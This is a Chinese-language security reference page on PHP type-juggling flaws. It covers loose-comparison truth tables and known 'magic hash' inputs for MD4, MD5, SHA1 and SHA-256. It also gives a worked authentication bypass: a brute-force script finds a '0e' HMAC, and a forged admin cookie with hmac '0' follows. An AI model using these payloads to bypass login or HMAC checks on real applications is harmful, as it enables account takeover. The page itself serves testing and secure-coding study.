跳转至

类型混淆 (Type Juggling)

PHP 是一种弱类型语言,这意味着它会尝试预测程序员的意图,并在其认为必要时自动转换变量类型。例如,仅包含数字的字符串可以被视为整数或浮点数。然而,这种自动转换(即类型混淆,Type Juggling)会导致意外结果,尤其是在使用 == 运算符比较变量时。该运算符仅检查“值相等”(宽松比较,Loose Comparison),而不检查“类型且值相等”(严格比较,Strict Comparison)。

摘要 (Summary)

宽松比较 (Loose Comparison)

当在攻击者可控变量的场景中使用宽松比较(==!=)而非严格比较(===!==)时,就会出现 PHP 类型混淆漏洞。这种漏洞可能导致应用程序对真假语句返回非预期的结果,进而引发严重的授权及/或身份验证漏洞。

  • 宽松比较:使用 ==!= —— 两个变量拥有“相同的值”。
  • 严格比较:使用 ===!== —— 两个变量拥有“相同的类型且相同的值”。

真值语句 (True Statements)

语句 输出
'0010e2' == '1e3' true
'0xABCdef' == ' 0xABCdef' true (PHP 5.0) / false (PHP 7.0)
'0xABCdef' == ' 0xABCdef' true (PHP 5.0) / false (PHP 7.0)
'0x01' == 1 true (PHP 5.0) / false (PHP 7.0)
'0x1234Ab' == '1193131' true (PHP 5.0) / false (PHP 7.0)
'123' == 123 true
'123a' == 123 true
'abc' == 0 true
'' == 0 == false == NULL true
'' == 0 true
0 == false true
false == NULL true
NULL == '' true

得益于“更合理的字符串与数字比较” (Saner string to number comparisons) RFC,PHP 8 不再尝试将非数值字符串转换为数字。这意味着以 0e 开头的哈希冲突利用终于成为了历史。此外,“内部函数一致性类型错误” (Consistent type errors for internal functions) RFC 将防止通过 0 == strcmp($_GET['username'], $password) 等方式进行的绕过,因为 strcmp 在出错时不再返回 null 且仅发出警告,而是抛出正式的异常。

宽松类型比较图

宽松类型比较在许多语言中都存在:

NULL 语句 (NULL Statements)

函数 语句 输出
sha1 var_dump(sha1([])); NULL
md5 var_dump(md5([])); NULL

魔术哈希 (Magic Hashes)

魔术哈希 (Magic Hashes) 产生于 PHP 类型混淆的一个特性:将字符串哈希与整数比较。如果一个字符串哈希以 "0e" 开头且后续全为数字,PHP 会将其解析为科学计数法,并在比较操作中将其视为浮点数(零)。

算法 "魔术" 数字 / 字符串 魔术哈希 (Magic Hash) 发现者 / 描述
MD4 gH0nAdHk 0e096229559581069251163783434175 @spaze
MD4 IiF+hTai 00e90130237707355082822449868597 @spaze
MD5 240610708 0e462097431906509019562988736854 @spazef0rze
MD5 QNKCDZO 0e830400451993494058024219903391 @spazef0rze
MD5 0e1137126905 0e291659922323405260514745084877 @spazef0rze
MD5 0e215962017 0e291242476940776845150308577824 @spazef0rze
MD5 129581926211651571912466741651878684928 06da5430449f8f6f23dfc1276f722738 原始形态: ?T0D??o#??'or'8.N=?
算法 "魔术" 数字 / 字符串 魔术哈希 (Magic Hash) 发现者 / 描述
SHA1 10932435112 0e07766915004133176347055865026311692244 Michael A. Cleverly, Michele Spagnuolo & Rogdham
SHA-224 10885164793773 0e281250946775200129471613219196999537878926740638594636 @TihanyiNorbert
SHA-256 34250003024812 0e46289032038065916139621039085883773413820991920706299695051332 @TihanyiNorbert
SHA-256 TyNOQHUS 0e66298694359207596086558843543959518835691168370379069085300385 @Chick3nman512
<?php
var_dump(md5('240610708') == md5('QNKCDZO')); # bool(true)
var_dump(md5('aabg7XSs')  == md5('aabC9RqS'));
var_dump(sha1('aaroZmOk') == sha1('aaK1STfY'));
var_dump(sha1('aaO8zKZF') == sha1('aa3OFF9m'));
?>

方法论 (Methodology)

以下代码中的漏洞在于使用了宽松比较 (!=) 来根据计算出的 $hash 校验 $cookie['hmac']

function validate_cookie($cookie,$key){
 $hash = hash_hmac('md5', $cookie['username'] . '|' . $cookie['expiration'], $key);
 if($cookie['hmac'] != $hash){ // 宽松比较
  return false;

 }
 else{
  echo "Well done";
 }
}

在这种情况下,如果攻击者可以控制 $cookie['hmac'] 的值并将其设置为字符串 "0",且能够操纵 hash_hmac 函数返回以 "0e" 开头且后续全为数字的哈希(会被解析为零),那么条件 $cookie['hmac'] != $hash 将评估为 false(即相等),从而有效地绕过 HMAC 检查。

我们控制了 Cookie 中的 3 个元素:

  • $username —— 攻击目标用户名,通常是 "admin"。
  • $expiration —— UNIX 时间戳,必须是未来的时间。
  • $hmac —— 提供的哈希值,设为 "0"。

漏洞利用阶段如下:

  1. 准备恶意 Cookie:攻击者准备一个 Cookie,将 $username 设置为要伪造的用户(如 "admin"),$expiration 设置为未来的 UNIX 时间戳,$hmac 设置为 "0"。
  2. 暴力破解 $expiration:攻击者随后暴力破解不同的 $expiration 值,直到 hash_hmac 函数生成以 "0e" 开头且后续全为数字的哈希。这是一个计算密集型过程,可能取决于系统设置的难度。如果成功,此步骤将生成一个“类零”哈希。
// docker run -it --rm -v /tmp/test:/usr/src/myapp -w /usr/src/myapp php:8.3.0alpha1-cli-buster php exp.php
for($i=1424869663; $i < 1835970773; $i++ ){
 $out = hash_hmac('md5', 'admin|'.$i, '');
 if(str_starts_with($out, '0e' )){
  if($out == 0){
   echo "$i - ".$out;
   break;
  }
 }
}
?>
  1. 使用爆破出的值更新 Cookie 数据1539805986 - 0e772967136366835494939987377058
$cookie = [
 'username' => 'admin',
 'expiration' => 1539805986,
 'hmac' => '0'
];
  • 在此案例中,我们假设密钥为空字符串:$key = '';

在线靶场 (Labs)

参考资料 (References)